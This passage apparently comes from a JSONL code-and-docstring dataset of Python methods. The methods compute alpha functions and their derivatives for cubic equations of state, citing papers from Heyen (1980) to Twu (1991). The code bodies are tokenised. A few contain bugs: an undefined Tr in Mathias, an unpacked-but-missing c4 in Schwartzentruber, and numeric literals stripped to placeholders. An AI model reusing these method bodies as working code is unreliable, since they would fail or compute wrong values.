\\sqrt{\\frac{T}{Tc}} + 1\\right)\n            + 1\\right)^{2}\n\n        References\n        ----------\n        .. [1] Soave, Giorgio. \"Equilibrium Constants from a Modified Redlich-\n           Kwong Equation of State.\" Chemical Engineering Science 27, no. 6 \n           (June 1972): 1197-1203. doi:10.1016/0009-2509(72)80096-4.", "id": "f15780:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def Heyen(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*exp(c1*(<NUM_LIT:1> -(T/Tc)**c2))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = -a*c1*c2*(T/Tc)**c2*exp(c1*(-(T/Tc)**c2 + <NUM_LIT:1>))/T<EOL>d2a_alpha_dT2 = a*c1*c2*(T/Tc)**c2*(c1*c2*(T/Tc)**c2 - c2 + <NUM_LIT:1>)*exp(-c1*((T/Tc)**c2 - <NUM_LIT:1>))/T**<NUM_LIT:2><EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Heyen (1980) [1]_. Returns `a_alpha`, `da_alpha_dT`,  \n        and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Two coefficients needed.\n\n        .. math::\n            \\alpha = e^{c_{1} \\left(- \\left(\\frac{T}{Tc}\\right)^{c_{2}}\n            + 1\\right)}\n\n        References\n        ----------\n        .. [1] Heyen, G. Liquid and Vapor Properties from a Cubic Equation of \n           State. In \"Proceedings of the 2nd International Conference on Phase \n           Equilibria and Fluid Properties in the Chemical Industry\". DECHEMA: \n           Frankfurt, 1980; p 9-13.", "id": "f15780:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def Harmens_Knapp(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) - c2*(<NUM_LIT:1> - Tc/T) + <NUM_LIT:1>)**<NUM_LIT:2><EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-c1*sqrt(T/Tc)/T - <NUM_LIT:2>*Tc*c2/T**<NUM_LIT:2>)*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) - c2*(<NUM_LIT:1> - Tc/T) + <NUM_LIT:1>)<EOL>d2a_alpha_dT2 = a*((c1*sqrt(T/Tc) + <NUM_LIT:2>*Tc*c2/T)**<NUM_LIT:2> - (c1*sqrt(T/Tc) + <NUM_LIT:8>*Tc*c2/T)*(c1*(sqrt(T/Tc) - <NUM_LIT:1>) + c2*(<NUM_LIT:1> - Tc/T) - <NUM_LIT:1>))/(<NUM_LIT:2>*T**<NUM_LIT:2>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Harmens and Knapp (1980) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Two coefficients needed.\n\n        .. math::\n            \\alpha = \\left(c_{1} \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right) \n            - c_{2} \\left(1 - \\frac{Tc}{T}\\right) + 1\\right)^{2}\n\n        References\n        ----------\n        .. [1] Harmens, A., and H. Knapp. \"Three-Parameter Cubic Equation of \n           State for Normal Substances.\" Industrial & Engineering Chemistry \n           Fundamentals 19, no. 3 (August 1, 1980): 291-94. \n           doi:10.1021/i160075a010.", "id": "f15780:c2:m2"}
{"signature": "@staticmethod<EOL><INDENT>def Mathias(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(<NUM_LIT:1> + c1*(<NUM_LIT:1>-sqrt(Tr)) -c2*(<NUM_LIT:1>-Tr)*(<NUM_LIT>-Tr))**<NUM_LIT:2><EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) - c2*(-T/Tc + <NUM_LIT>)*(-T/Tc + <NUM_LIT:1>) + <NUM_LIT:1>)*(<NUM_LIT:2>*c2*(-T/Tc + <NUM_LIT>)/Tc + <NUM_LIT:2>*c2*(-T/Tc + <NUM_LIT:1>)/Tc - c1*sqrt(T/Tc)/T)<EOL>d2a_alpha_dT2 = a*((<NUM_LIT:8>*c2/Tc**<NUM_LIT:2> - c1*sqrt(T/Tc)/T**<NUM_LIT:2>)*(c1*(sqrt(T/Tc) - <NUM_LIT:1>) + c2*(T/Tc - <NUM_LIT:1>)*(T/Tc - <NUM_LIT>) - <NUM_LIT:1>) + (<NUM_LIT:2>*c2*(T/Tc - <NUM_LIT:1>)/Tc + <NUM_LIT:2>*c2*(T/Tc - <NUM_LIT>)/Tc + c1*sqrt(T/Tc)/T)**<NUM_LIT:2>)/<NUM_LIT:2><EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Mathias (1983) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Two coefficients needed.\n\n        .. math::\n            \\alpha = \\left(c_{1} \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)\n            - c_{2} \\left(- \\frac{T}{Tc} + 0.7\\right) \\left(- \\frac{T}{Tc} \n            + 1\\right) + 1\\right)^{2}\n\n        References\n        ----------\n        .. [1] Mathias, Paul M. \"A Versatile Phase Equilibrium Equation of \n           State.\" Industrial & Engineering Chemistry Process Design and \n           Development 22, no. 3 (July 1, 1983): 385-91. \n           doi:10.1021/i200022a008.", "id": "f15780:c2:m3"}
{"signature": "@staticmethod<EOL><INDENT>def Mathias_Copeman(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) + c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)**<NUM_LIT:2><EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-c1*sqrt(T/Tc)/T - <NUM_LIT:2>*c2*sqrt(T/Tc)*(-sqrt(T/Tc) + <NUM_LIT:1>)/T - <NUM_LIT:3>*c3*sqrt(T/Tc)*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2>/T)*(c1*(-sqrt(T/Tc) + <NUM_LIT:1>) + c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)<EOL>d2a_alpha_dT2 = a*(T*(c1 - <NUM_LIT:2>*c2*(sqrt(T/Tc) - <NUM_LIT:1>) + <NUM_LIT:3>*c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2>)**<NUM_LIT:2> - (<NUM_LIT:2>*T*(c2 - <NUM_LIT:3>*c3*(sqrt(T/Tc) - <NUM_LIT:1>)) + Tc*sqrt(T/Tc)*(c1 - <NUM_LIT:2>*c2*(sqrt(T/Tc) - <NUM_LIT:1>) + <NUM_LIT:3>*c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2>))*(c1*(sqrt(T/Tc) - <NUM_LIT:1>) - c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2> + c3*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:3> - <NUM_LIT:1>))/(<NUM_LIT:2>*T**<NUM_LIT:2>*Tc)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Mathias and Copeman (1983) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = \\left(c_{1} \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)\n            + c_{2} \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)^{2} + c_{3} \\left(\n            - \\sqrt{\\frac{T}{Tc}} + 1\\right)^{3} + 1\\right)^{2}\n\n        References\n        ----------\n        .. [1] Mathias, Paul M., and Thomas W. Copeman. \"Extension of the \n           Peng-Robinson Equation of State to Complex Mixtures: Evaluation of \n           the Various Forms of the Local Composition Concept.\" Fluid Phase \n           Equilibria 13 (January 1, 1983): 91-108. \n           doi:10.1016/0378-3812(83)80084-3.", "id": "f15780:c2:m4"}
{"signature": "@staticmethod<EOL><INDENT>def Gibbons_Laughton(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(T/Tc - <NUM_LIT:1>) + c2*(sqrt(T/Tc) - <NUM_LIT:1>) + <NUM_LIT:1>)<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(c1/Tc + c2*sqrt(T/Tc)/(<NUM_LIT:2>*T))<EOL>d2a_alpha_dT2 = a*(-c2*sqrt(T/Tc)/(<NUM_LIT:4>*T**<NUM_LIT:2>))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Gibbons and Laughton (1984) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Two coefficients needed.\n\n        .. math::\n            \\alpha = c_{1} \\left(\\frac{T}{Tc} - 1\\right) + c_{2} \n            \\left(\\sqrt{\\frac{T}{Tc}} - 1\\right) + 1\n\n        References\n        ----------\n        .. [1] Gibbons, Richard M., and Andrew P. Laughton. \"An Equation of \n           State for Polar and Non-Polar Substances and Mixtures\" 80, no. 9 \n           (January 1, 1984): 1019-38. doi:10.1039/F29848001019.", "id": "f15780:c2:m5"}
{"signature": "@staticmethod<EOL><INDENT>def Soave_1984(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(-T/Tc + <NUM_LIT:1>) + c2*(-<NUM_LIT:1> + Tc/T) + <NUM_LIT:1>)<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-c1/Tc - Tc*c2/T**<NUM_LIT:2>)<EOL>d2a_alpha_dT2 = a*(<NUM_LIT:2>*Tc*c2/T**<NUM_LIT:3>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Soave (1984) [1]_. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Two coefficients needed.\n\n        .. math::\n            \\alpha = c_{1} \\left(- \\frac{T}{Tc} + 1\\right) + c_{2} \\left(-1\n            + \\frac{Tc}{T}\\right) + 1\n\n        References\n        ----------\n        .. [1] Soave, G. \"Improvement of the Van Der Waals Equation of State.\" \n           Chemical Engineering Science 39, no. 2 (January 1, 1984): 357-69. \n           doi:10.1016/0009-2509(84)80034-2.", "id": "f15780:c2:m6"}
{"signature": "@staticmethod<EOL><INDENT>def Yu_Lu(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3, c4 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*<NUM_LIT:10>**(c4*(-T/Tc + <NUM_LIT:1>)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(<NUM_LIT:10>**(c4*(-T/Tc + <NUM_LIT:1>)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1))*(c4*(-T/Tc + <NUM_LIT:1>)*(<NUM_LIT:2>*T*c3/Tc**<NUM_LIT:2> + c2/Tc) - c4*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1)/Tc)*log(<NUM_LIT:10>))<EOL>d2a_alpha_dT2 = a*(<NUM_LIT:10>**(-c4*(T/Tc - <NUM_LIT:1>)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1))*c4*(-<NUM_LIT:4>*T*c3/Tc - <NUM_LIT:2>*c2 - <NUM_LIT:2>*c3*(T/Tc - <NUM_LIT:1>) + c4*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1 + (T/Tc - <NUM_LIT:1>)*(<NUM_LIT:2>*T*c3/Tc + c2))**<NUM_LIT:2>*log(<NUM_LIT:10>))*log(<NUM_LIT:10>)/Tc**<NUM_LIT:2>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Yu and Lu (1987) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Four coefficients needed.\n\n        .. math::\n            \\alpha = 10^{c_{4} \\left(- \\frac{T}{Tc} + 1\\right) \\left(\n            \\frac{T^{2} c_{3}}{Tc^{2}} + \\frac{T c_{2}}{Tc} + c_{1}\\right)}\n\n        References\n        ----------\n        .. [1] Yu, Jin-Min, and Benjamin C. -Y. Lu. \"A Three-Parameter Cubic \n           Equation of State for Asymmetric Mixture Density Calculations.\" \n           Fluid Phase Equilibria 34, no. 1 (January 1, 1987): 1-19. \n           doi:10.1016/0378-3812(87)85047-1.", "id": "f15780:c2:m7"}
{"signature": "@staticmethod<EOL><INDENT>def Trebble_Bishnoi(self, T, full=True, quick=True):<DEDENT>", "body": "c1 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*exp(c1*(-T/Tc + <NUM_LIT:1>))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*-c1*exp(c1*(-T/Tc + <NUM_LIT:1>))/Tc<EOL>d2a_alpha_dT2 = a*c1**<NUM_LIT:2>*exp(-c1*(T/Tc - <NUM_LIT:1>))/Tc**<NUM_LIT:2><EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Trebble and Bishnoi (1987) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. One coefficient needed.\n\n        .. math::\n            \\alpha = e^{c_{1} \\left(- \\frac{T}{Tc} + 1\\right)}\n\n        References\n        ----------\n        .. [1] Trebble, M. A., and P. R. Bishnoi. \"Development of a New Four-\n           Parameter Cubic Equation of State.\" Fluid Phase Equilibria 35, no. 1\n           (September 1, 1987): 1-18. doi:10.1016/0378-3812(87)80001-8.", "id": "f15780:c2:m8"}
{"signature": "@staticmethod<EOL><INDENT>def Melhem(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*exp(c1*(-T/Tc + <NUM_LIT:1>) + c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2>)<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((-c1/Tc - c2*sqrt(T/Tc)*(-sqrt(T/Tc) + <NUM_LIT:1>)/T)*exp(c1*(-T/Tc + <NUM_LIT:1>) + c2*(-sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2>))<EOL>d2a_alpha_dT2 = a*(((c1/Tc - c2*sqrt(T/Tc)*(sqrt(T/Tc) - <NUM_LIT:1>)/T)**<NUM_LIT:2> + c2*(<NUM_LIT:1>/Tc - sqrt(T/Tc)*(sqrt(T/Tc) - <NUM_LIT:1>)/T)/(<NUM_LIT:2>*T))*exp(-c1*(T/Tc - <NUM_LIT:1>) + c2*(sqrt(T/Tc) - <NUM_LIT:1>)**<NUM_LIT:2>))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Melhem et al. (1989) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Two coefficients needed.\n\n        .. math::\n            \\alpha = e^{c_{1} \\left(- \\frac{T}{Tc} + 1\\right) + c_{2} \n            \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right)^{2}}\n\n        References\n        ----------\n        .. [1] Melhem, Georges A., Riju Saini, and Bernard M. Goodwin. \"A \n           Modified Peng-Robinson Equation of State.\" Fluid Phase Equilibria \n           47, no. 2 (August 1, 1989): 189-237. \n           doi:10.1016/0378-3812(89)80176-1.", "id": "f15780:c2:m9"}
{"signature": "@staticmethod<EOL><INDENT>def Androulakis(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*(c1*(-(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) + <NUM_LIT:1>) + c2*(-(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) + <NUM_LIT:1>)**<NUM_LIT:2> + c3*(-(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) + <NUM_LIT:1>)**<NUM_LIT:3> + <NUM_LIT:1>)<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-<NUM_LIT:2>*c1*(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>)/(<NUM_LIT:3>*T) - <NUM_LIT:4>*c2*(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>)*(-(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) + <NUM_LIT:1>)/(<NUM_LIT:3>*T) - <NUM_LIT:2>*c3*(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>)*(-(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) + <NUM_LIT:1>)**<NUM_LIT:2>/T)<EOL>d2a_alpha_dT2 = a*(<NUM_LIT:2>*(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>)*(c1 + <NUM_LIT:4>*c2*(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) - <NUM_LIT:2>*c2*((T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) - <NUM_LIT:1>) - <NUM_LIT:12>*c3*(T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>)*((T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) - <NUM_LIT:1>) + <NUM_LIT:3>*c3*((T/Tc)**(<NUM_LIT:2>/<NUM_LIT:3>) - <NUM_LIT:1>)**<NUM_LIT:2>)/(<NUM_LIT:9>*T**<NUM_LIT:2>))<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Androulakis et al. (1989) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = c_{1} \\left(- \\left(\\frac{T}{Tc}\\right)^{\\frac{2}{3}}\n            + 1\\right) + c_{2} \\left(- \\left(\\frac{T}{Tc}\\right)^{\\frac{2}{3}} \n            + 1\\right)^{2} + c_{3} \\left(- \\left(\\frac{T}{Tc}\\right)^{\n            \\frac{2}{3}} + 1\\right)^{3} + 1\n\n        References\n        ----------\n        .. [1] Androulakis, I. P., N. S. Kalospiros, and D. P. Tassios. \n           \"Thermophysical Properties of Pure Polar and Nonpolar Compounds with\n           a Modified VdW-711 Equation of State.\" Fluid Phase Equilibria 45, \n           no. 2 (April 1, 1989): 135-63. doi:10.1016/0378-3812(89)80254-7.", "id": "f15780:c2:m10"}
{"signature": "@staticmethod<EOL><INDENT>def Schwartzentruber(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*((c4*(-sqrt(T/Tc) + <NUM_LIT:1>) - (-sqrt(T/Tc) + <NUM_LIT:1>)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1) + <NUM_LIT:1>)**<NUM_LIT:2>)<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((c4*(-sqrt(T/Tc) + <NUM_LIT:1>) - (-sqrt(T/Tc) + <NUM_LIT:1>)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1) + <NUM_LIT:1>)*(-<NUM_LIT:2>*(-sqrt(T/Tc) + <NUM_LIT:1>)*(<NUM_LIT:2>*T*c3/Tc**<NUM_LIT:2> + c2/Tc) - c4*sqrt(T/Tc)/T + sqrt(T/Tc)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1)/T))<EOL>d2a_alpha_dT2 = a*(((-c4*(sqrt(T/Tc) - <NUM_LIT:1>) + (sqrt(T/Tc) - <NUM_LIT:1>)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1) + <NUM_LIT:1>)*(<NUM_LIT:8>*c3*(sqrt(T/Tc) - <NUM_LIT:1>)/Tc**<NUM_LIT:2> + <NUM_LIT:4>*sqrt(T/Tc)*(<NUM_LIT:2>*T*c3/Tc + c2)/(T*Tc) + c4*sqrt(T/Tc)/T**<NUM_LIT:2> - sqrt(T/Tc)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1)/T**<NUM_LIT:2>) + (<NUM_LIT:2>*(sqrt(T/Tc) - <NUM_LIT:1>)*(<NUM_LIT:2>*T*c3/Tc + c2)/Tc - c4*sqrt(T/Tc)/T + sqrt(T/Tc)*(T**<NUM_LIT:2>*c3/Tc**<NUM_LIT:2> + T*c2/Tc + c1)/T)**<NUM_LIT:2>)/<NUM_LIT:2>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Schwartzentruber et al. (1990) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = \\left(c_{4} \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right) \n            - \\left(- \\sqrt{\\frac{T}{Tc}} + 1\\right) \\left(\\frac{T^{2} c_{3}}\n            {Tc^{2}} + \\frac{T c_{2}}{Tc} + c_{1}\\right) + 1\\right)^{2}\n\n        References\n        ----------\n        .. [1] J. Schwartzentruber, H. Renon, and S. Watanasiri, \"K-values for \n           Non-Ideal Systems:An Easier Way,\" Chem. Eng., March 1990, 118-124.", "id": "f15780:c2:m11"}
{"signature": "@staticmethod<EOL><INDENT>def Almeida(self, T, full=True, quick=True):<DEDENT>", "body": "<EOL>c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*exp(c1*(-T/Tc + <NUM_LIT:1>)*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>) + c3*(-<NUM_LIT:1> + Tc/T))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*((c1*(c2 - <NUM_LIT:1>)*(-T/Tc + <NUM_LIT:1>)*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>)*copysign(<NUM_LIT:1>, T/Tc - <NUM_LIT:1>)/(Tc*Abs(T/Tc - <NUM_LIT:1>)) - c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>)/Tc - Tc*c3/T**<NUM_LIT:2>)*exp(c1*(-T/Tc + <NUM_LIT:1>)*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>) + c3*(-<NUM_LIT:1> + Tc/T)))<EOL>d2a_alpha_dT2 = a*exp(c3*(Tc/T - <NUM_LIT:1>) - c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>)*(T/Tc - <NUM_LIT:1>))*((c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>))/Tc + (Tc*c3)/T**<NUM_LIT:2> + (c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:2>)*copysign(<NUM_LIT:1>, T/Tc - <NUM_LIT:1>)*(c2 - <NUM_LIT:1>)*(T/Tc - <NUM_LIT:1>))/Tc)**<NUM_LIT:2> - exp(c3*(Tc/T - <NUM_LIT:1>) - c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:1>)*(T/Tc - <NUM_LIT:1>))*((<NUM_LIT:2>*c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:2>)*copysign(<NUM_LIT:1>, T/Tc - <NUM_LIT:1>)*(c2 - <NUM_LIT:1>))/Tc**<NUM_LIT:2> - (<NUM_LIT:2>*Tc*c3)/T**<NUM_LIT:3> + (c1*abs(T/Tc - <NUM_LIT:1>)**(c2 - <NUM_LIT:3>)*copysign(<NUM_LIT:1>, T/Tc - <NUM_LIT:1>)**<NUM_LIT:2>*(c2 - <NUM_LIT:1>)*(c2 - <NUM_LIT:2>)*(T/Tc - <NUM_LIT:1>))/Tc**<NUM_LIT:2>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Almeida et al. (1991) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = e^{c_{1} \\left(- \\frac{T}{Tc} + 1\\right) \\left|{\n            \\frac{T}{Tc} - 1}\\right|^{c_{2} - 1} + c_{3} \\left(-1 \n            + \\frac{Tc}{T}\\right)}\n\n        References\n        ----------\n        .. [1] Almeida, G. S., M. Aznar, and A. S. Telles. \"Uma Nova Forma de \n           Depend\u00eancia Com a Temperatura Do Termo Atrativo de Equa\u00e7\u00f5es de \n           Estado C\u00fabicas.\" RBE, Rev. Bras. Eng., Cad. Eng. Quim 8 (1991): 95.", "id": "f15780:c2:m12"}
{"signature": "@staticmethod<EOL><INDENT>def Twu(self, T, full=True, quick=True):<DEDENT>", "body": "c1, c2, c3 = self.alpha_function_coeffs<EOL>T, Tc, a = self.T, self.Tc, self.a<EOL>a_alpha = a*((T/Tc)**(c3*(c2 - <NUM_LIT:1>))*exp(c1*(-(T/Tc)**(c2*c3) + <NUM_LIT:1>)))<EOL>if not full:<EOL><INDENT>return a_alpha<EOL><DEDENT>else:<EOL><INDENT>da_alpha_dT = a*(-c1*c2*c3*(T/Tc)**(c2*c3)*(T/Tc)**(c3*(c2 - <NUM_LIT:1>))*exp(c1*(-(T/Tc)**(c2*c3) + <NUM_LIT:1>))/T + c3*(T/Tc)**(c3*(c2 - <NUM_LIT:1>))*(c2 - <NUM_LIT:1>)*exp(c1*(-(T/Tc)**(c2*c3) + <NUM_LIT:1>))/T)<EOL>d2a_alpha_dT2 = a*(c3*(T/Tc)**(c3*(c2 - <NUM_LIT:1>))*(c1**<NUM_LIT:2>*c2**<NUM_LIT:2>*c3*(T/Tc)**(<NUM_LIT:2>*c2*c3) - c1*c2**<NUM_LIT:2>*c3*(T/Tc)**(c2*c3) - <NUM_LIT:2>*c1*c2*c3*(T/Tc)**(c2*c3)*(c2 - <NUM_LIT:1>) + c1*c2*(T/Tc)**(c2*c3) - c2 + c3*(c2 - <NUM_LIT:1>)**<NUM_LIT:2> + <NUM_LIT:1>)*exp(-c1*((T/Tc)**(c2*c3) - <NUM_LIT:1>))/T**<NUM_LIT:2>)<EOL>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives according to Twu et al. (1991) [1]_. Returns `a_alpha`, \n        `da_alpha_dT`, and `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives`  \n        for more documentation. Three coefficients needed.\n\n        .. math::\n            \\alpha = \\left(\\frac{T}{Tc}\\right)^{c_{3} 